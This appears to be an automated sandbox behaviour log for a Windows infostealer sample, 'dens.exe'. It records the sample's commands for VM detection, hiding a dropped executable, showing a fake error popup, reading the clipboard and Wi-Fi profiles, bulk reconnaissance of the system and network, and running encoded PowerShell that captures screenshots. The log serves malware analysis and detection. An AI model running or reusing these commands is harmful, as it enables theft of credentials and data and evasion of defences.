Source: C:\Users\user\Desktop\dens.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT Architecture FROM Win32_Processor
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\System32\systeminfo.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\System32\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process

Source: C:\Users\user\Desktop\dens.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Windows\System32\cmd.exe

File read: C:\Windows\System32\drivers\etc\hosts

Source: tasklist.exe, 0000001D.00000003.1763963862.0000022FF79DD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Processystem32;^
Source: dens.exe, 00000001.00000002.2069180687.00007FFDFACA5000.00000002.00000001.01000000.00000017.sdmp	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: tasklist.exe, 0000001D.00000002.1765374241.0000022FF79E0000.00000004.00000020.00020000.00000000.sdmp, tasklist.exe, 0000001D.00000003.1764322605.0000022FF79DE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Processystem32;DD
Source: dens.exe, 00000001.00000002.2069180687.00007FFDFACA5000.00000002.00000001.01000000.00000017.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: dens.exe, 00000001.00000002.2069180687.00007FFDFACA5000.00000002.00000001.01000000.00000017.sdmp	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: dens.exe, 00000001.00000002.2069180687.00007FFDFACA5000.00000002.00000001.01000000.00000017.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: tasklist.exe, 0000000A.00000003.1723020899.0000018791CDD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_ProcessH;.MSCP
Source: dens.exe, dens.exe, 00000001.00000002.2069180687.00007FFDFACA5000.00000002.00000001.01000000.00000017.sdmp	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: dens.exe, 00000001.00000002.2069180687.00007FFDFACA5000.00000002.00000001.01000000.00000017.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: dens.exe, 00000001.00000003.1775186095.000002D9AC3BE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: dens.exe, 00000001.00000002.2069180687.00007FFDFACA5000.00000002.00000001.01000000.00000017.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: tasklist.exe, 0000000A.00000003.1723345504.0000018791CDE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_ProcessH;.MSCP66

Source: dens.exe

ReversingLabs: Detection: 39%

Source: C:\Users\user\Desktop\dens.exe

File read: C:\Users\user\Desktop\dens.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\dens.exe "C:\Users\user\Desktop\dens.exe"
Source: C:\Users\user\Desktop\dens.exe	Process created: C:\Users\user\Desktop\dens.exe "C:\Users\user\Desktop\dens.exe"
Source: C:\Users\user\Desktop\dens.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
Source: C:\Users\user\Desktop\dens.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic computersystem get Manufacturer"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\dens.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "gdb --version"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\dens.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic computersystem get Manufacturer
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic path win32_VideoController get name
Source: C:\Users\user\Desktop\dens.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic path Win32_ComputerSystem get Manufacturer"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic path Win32_ComputerSystem get Manufacturer
Source: C:\Users\user\Desktop\dens.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
Source: C:\Users\user\Desktop\dens.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic csproduct get uuid
Source: C:\Users\user\Desktop\dens.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "attrib +h +s "C:\Users\user\AppData\Local\WaltuhiumUpdateService\Waltuhium.exe""
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\attrib.exe attrib +h +s "C:\Users\user\AppData\Local\WaltuhiumUpdateService\Waltuhium.exe"
Source: C:\Users\user\Desktop\dens.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('The Program can\x22t start because api-ms-win-crt-runtime-\|l1-1-.dll is missing from your computer. Try reinstalling the program to fix this problem', 0, 'System Error', 0+16);close()""
Source: C:\Users\user\Desktop\dens.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\mshta.exe mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('The Program can\x22t start because api-ms-win-crt-runtime-\|l1-1-.dll is missing from your computer. Try reinstalling the program to fix this problem', 0, 'System Error', 0+16);close()"
Source: C:\Users\user\Desktop\dens.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "cmd.exe /c chcp"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\dens.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\dens.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell.exe Get-Clipboard"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c chcp
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c chcp
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe Get-Clipboard
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp
Source: C:\Users\user\Desktop\dens.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "netsh wlan show profiles"
Source: C:\Users\user\Desktop\dens.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "echo ####System Info#### & systeminfo & echo ####System Version#### & ver & echo ####Host Name#### & hostname & echo ####Environment Variable#### & set & echo ####Logical Disk#### & wmic logicaldisk get caption,description,providername & echo ####User Info#### & net user & echo ####Online User#### & query user & echo ####Local Group#### & net localgroup & echo ####Administrators Info#### & net localgroup administrators & echo ####Guest User Info#### & net user guest & echo ####Administrator User Info#### & net user administrator & echo ####Startup Info#### & wmic startup get caption,command & echo ####Tasklist#### & tasklist /svc & echo ####Ipconfig#### & ipconfig/all & echo ####Hosts#### & type C:\WINDOWS\System32\drivers\etc\hosts & echo ####Route Table#### & route print & echo ####Arp Info#### & arp -a & echo ####Netstat#### & netstat -ano & echo ####Service Info#### & sc query type= service state= all & echo ####Firewallinfo#### & netsh firewall show state & netsh firewall show config"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\systeminfo.exe systeminfo
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profiles
Source: C:\Windows\System32\systeminfo.exe	Process created: C:\Windows\System32\wbem\WmiPrvSE.exe C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\HOSTNAME.EXE hostname
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic logicaldisk get caption,description,providername
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net user
Source: C:\Windows\System32\net.exe	Process created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 user
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\query.exe query user
Source: C:\Windows\System32\query.exe	Process created: C:\Windows\System32\quser.exe "C:\Windows\system32\quser.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net localgroup
Source: C:\Windows\System32\net.exe	Process created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 localgroup
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net localgroup administrators
Source: C:\Windows\System32\net.exe	Process created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 localgroup administrators
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net user guest
Source: C:\Windows\System32\net.exe	Process created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 user guest
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net user administrator
Source: C:\Windows\System32\net.exe	Process created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 user administrator
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic startup get caption,command
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /svc
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\ipconfig.exe ipconfig /all
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\ROUTE.EXE route print
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\ARP.EXE arp -a
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\NETSTAT.EXE netstat -ano
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc query type= service state= all
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh firewall show state
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh firewall show config
Source: C:\Users\user\Desktop\dens.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic csproduct get uuid
Source: C:\Users\user\Desktop\dens.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIA
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIAB
Source: C:\Users\user\Desktop\dens.exe	Process created: C:\Users\user\Desktop\dens.exe "C:\Users\user\Desktop\dens.exe"	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic computersystem get Manufacturer"	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "gdb --version"	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist"	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic path Win32_ComputerSystem get Manufacturer"	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist"	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "attrib +h +s "C:\Users\user\AppData\Local\WaltuhiumUpdateService\Waltuhium.exe""	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('The Program can\x22t start because api-ms-win-crt-runtime-\|l1-1-.dll is missing from your computer. Try reinstalling the program to fix this problem', 0, 'System Error', 0+16);close()""	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist"	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "cmd.exe /c chcp"	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
